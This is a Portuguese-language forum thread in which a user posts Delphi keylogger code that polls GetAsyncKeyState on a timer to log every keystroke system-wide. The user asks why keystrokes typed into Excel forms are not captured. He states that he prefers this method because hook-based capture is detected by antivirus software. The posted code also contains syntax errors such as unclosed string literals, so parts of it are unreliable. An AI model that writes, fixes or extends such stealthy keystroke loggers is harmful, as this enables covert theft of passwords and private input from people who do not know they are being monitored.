Ir para conteúdo
Fórum Script Brasil
  • 0

GetAsyncKeyState


Guest --Jose --

Pergunta

Guest --Jose --

Estou com um problema, estou usando a função q coloquei logo abaixo para obter as teclas digitadas no computador, ele funciona legalzinho, mas tem um problema, ao digitar algo em um formulario do Excel ele não captura, alguém sabe porque???

function Coloca(txt: String): String;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

keyloop, KeyResult : Integer;

begin

keyloop := 0;

repeat

KeyResult := GetAsyncKeyState(keyloop);

if KeyResult = -32767 then

begin

case keyloop of

8: Coloca(' [bACKSPACE] ');

9: Coloca(' [TAB] ');

12: Coloca(' [ALT] ');

13: Coloca(' [ENTER] ');

16: Coloca(' [sHIFT] ');

17: Coloca(' [CONTROL] ');

18: Coloca(' [ALT] ');

20: Coloca(' [CAPS LOCK] ');

21: Coloca(' [page UP] ');

27: Coloca(' [ESC] ');

33: Coloca(' [page UP] ');

34: Coloca(' [page DOWN] ');

35: Coloca(' [END] ');

36: Coloca(' [HOME] ');

37: Coloca(' [sETA ESQUERDA] ');

38: Coloca(' [sETA ACIMA] ');

39: Coloca(' [sETA DIREITA] ');

40: Coloca(' [sETA ABAIXO] ');

45: Coloca(' [iNSERT] ');

46: Coloca(' [DEL] ');

91: Coloca(' [WIN ESQUERDA] ');

92: Coloca(' [WIN DIREITA] ');

93: Coloca(' [MENU POP-UP] ');

96: Coloca('0');

97: Coloca('1');

98: Coloca('2');

99: Coloca('3');

100: Coloca('4');

101: Coloca('5');

102: Coloca('6');

103: Coloca('7');

104: Coloca('8');

105: Coloca('9');

106: Coloca(' [NUM *] ');

107: Coloca(' [NUM +] ');

109: Coloca(' [NUM -] ');

110: Coloca(' [NUM SEP. DECIMAL] ');

111: Coloca(' [NUM /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NUM LOCK] ');

186: Coloca('Ç');

187: Coloca('=);

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca(' [APÓSTROFO] ');

193: Coloca('/');

194: Coloca(' [NUM PONTO] ');

219: Coloca('´');

220: Coloca(]');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (KeyLoop >= 65) and (keyloop <= 90) then

Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then

Coloca(Chr(keyloop));

//numpad keycodes

if (keyloop >= 96) and (keyloop <= 110) then

Coloca(Chr(keyloop));

end;

end; //case;

inc(keyloop);

until keyloop = 255;

end

Link para o comentário
Compartilhar em outros sites

4 respostass a esta questão

Posts Recomendados

  • 0
Estou com um problema, estou usando a função q coloquei logo abaixo para obter as teclas digitadas no computador, ele funciona legalzinho, mas tem um problema, ao digitar algo em um formulario do Excel ele não captura, alguém sabe porque???

Veja se alguns destes posts ajuda

http://scriptbrasil.com.br/forum/index.php...capturar+teclas

abraço

Link para o comentário
Compartilhar em outros sites

  • 0
Valeu Jhonas, mas o meu problema é somente em capturar teclas digitadas no excel... c alguém mais poder me ajudar agradeço

Se voce procurasse, iria encontrar em um destes posts, um código que captura as teclas digitadas em qualquer janela do seu programa ou do windows ( excel )

abraço

Link para o comentário
Compartilhar em outros sites

  • 0
Guest --Jose --

Sim eu procurei mas o código q eu achei foi um Hook, e esse procedimento é detectável pelo anti vírus... E esse q eu postei não é. Por isso quero saber c existe alguma forma d usa-la para capturar teclas em qualquer lugar no Windows até mesmo sobre um formulario do Excel.

Abraço

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,2k
×
×
  • Criar Novo...